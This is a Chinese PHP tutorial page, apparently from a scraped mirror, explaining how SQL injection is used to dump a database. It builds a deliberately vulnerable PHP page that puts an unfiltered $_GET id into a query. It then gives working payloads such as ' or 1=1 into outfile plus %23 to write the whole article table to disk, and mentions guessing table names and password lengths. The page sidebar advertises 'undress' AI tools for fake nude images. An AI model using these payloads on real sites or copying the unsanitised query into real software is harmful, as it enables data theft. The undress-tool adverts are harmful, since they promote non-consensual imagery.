php教程 php手册 sql安全之SQL注入漏洞拖库原理解析

sql安全之SQL注入漏洞拖库原理解析

May 25, 2016 pm 12:57 PM

本文章以自己的一些经验来告诉你黑客朋友们会怎么利用你数据库的sql漏洞来把你的数据库下载,有需要的同这参考一下本文章.

在数据库中建立一张表,代码如下:

CREATE TABLE `article` ( 
`articleid` int(11) NOT NULL AUTO_INCREMENT, 
`title` varchar(100) CHARACTER SET utf8 NOT NULL DEFAULT '', 
`content` text CHARACTER SET utf8 NOT NULL, 
PRIMARY KEY (`articleid`) 
) ENGINE=MyISAM AUTO_INCREMENT=7 DEFAULT CHARSET=latin1;
로그인 후 복사

在表中插入数据的操作我就不贴代码了,可以去下载下来直接导入到数据库,接下来,写一个处理用户请求的页面,这里,我们故意不过滤用户提交过来的数据,留下个SQL注入漏洞用来测试,代码如下:

<?php 
   $servername = "localhost"; 
   $dbusername = "root"; 
   $dbpassword = ""; 
   $dbname = "test"; 
   $id=$_GET[&#39;id&#39;];//id未经过滤 
   $conn=mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); 
   mysql_select_db($dbname,$conn); 
   mysql_query(&#39;set names utf8&#39;); 
   $sql = "SELECT * FROM article WHERE articleid=&#39;$id&#39;"; 
   $result = mysql_query($sql,$conn); 
   $row = mysql_fetch_array($result); 
   echo "<p>利用SQL注入漏洞拖库<p>"; 
   //开源代码phprm.com 
   if (!$row){ 
  echo "该记录不存在"; 
  exit; 
   } 
   echo "标题<br>".$row[&#39;title&#39;]."<p>"; 
   echo "内容<br>".$row[&#39;content&#39;]."<p>";
로그인 후 복사

我们直接在浏览器中输入:

http://127.0.0.1/marcofly/phpstudy/sqlinsert/showart.php?id=1

即可访问article表中id为1的一条记录.

接下来,我们就利用这个漏洞(不知道该漏洞的情况下,只能通过工具+手工检测),演示一下如何将article表下载下来,在地址栏中输入:

'into outfile'e:/sql.txt'%23 

分析:%23是#的ASCII码,由于在地址栏中直接输入#后到数据库系统中会变成空,需要在地址栏中输入%23,那么才会变成#,进而注释掉后面的sql语句.

运行之后,打开E盘,发现多了一个sql.txt文件,打开之后,里面就是表article中的一条记录,为什么只有一条记录呢?难道该数据表就只有一条记录?不是这样的,因为我们只检索id为1的一条记录而已,那么能否将article表中的所有记录一次性全部下载下来呢?

答案是可以的,只要你的构造的SQL语句足够灵活(再次提出了构造SQL语句的灵活性)。

分析一下,当在URL地址栏中输入’into outfile 'e:/sql.txt'%23的时候,合并到sql查询语句中变为:

SELECT * FROM article WHERE articleid='5' into outfile 'e:/whf.txt'#'

仔细分析下之后,我们可以这样子构造SQL语句:

SELECT * FROM article WHERE articleid='' or 1=1 into outfile 'e:/whf.txt'#' 

这样的话,无论如何WHERE子句总是为真,换句话说,该sql语句等价于如下:

SELECT * FROM article into outfile 'e:/whf.txt'#' 

懂了吧,该sql语句在先执行select语句,将表article中的所以内容全部检索出来,然后再执行into outfile 'e:/whf.txt'#'将内容导出来.

不信的话,你执行下……利用SQL注入漏洞,我们可以猜测表名,列名,用户的密码长度(LEFT函数)等等,当然了,如果能直接向以上的演示那样将表中的数据全部导出的话就没必要去猜表名列名等等.


永久链接:

转载随意!带上文章地址吧。

본 웹사이트의 성명
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.

핫 AI 도구

Undresser.AI Undress

Undresser.AI Undress

사실적인 누드 사진을 만들기 위한 AI 기반 앱

AI Clothes Remover

AI Clothes Remover

사진에서 옷을 제거하는 온라인 AI 도구입니다.

Undress AI Tool

Undress AI Tool

무료로 이미지를 벗다

Clothoff.io

Clothoff.io

AI 옷 제거제

AI Hentai Generator

AI Hentai Generator

AI Hentai를 무료로 생성하십시오.

뜨거운 도구

메모장++7.3.1

메모장++7.3.1

사용하기 쉬운 무료 코드 편집기

SublimeText3 중국어 버전

SublimeText3 중국어 버전

중국어 버전, 사용하기 매우 쉽습니다.

스튜디오 13.0.1 보내기

스튜디오 13.0.1 보내기

강력한 PHP 통합 개발 환경

드림위버 CS6

드림위버 CS6

시각적 웹 개발 도구

SublimeText3 Mac 버전

SublimeText3 Mac 버전

신 수준의 코드 편집 소프트웨어(SublimeText3)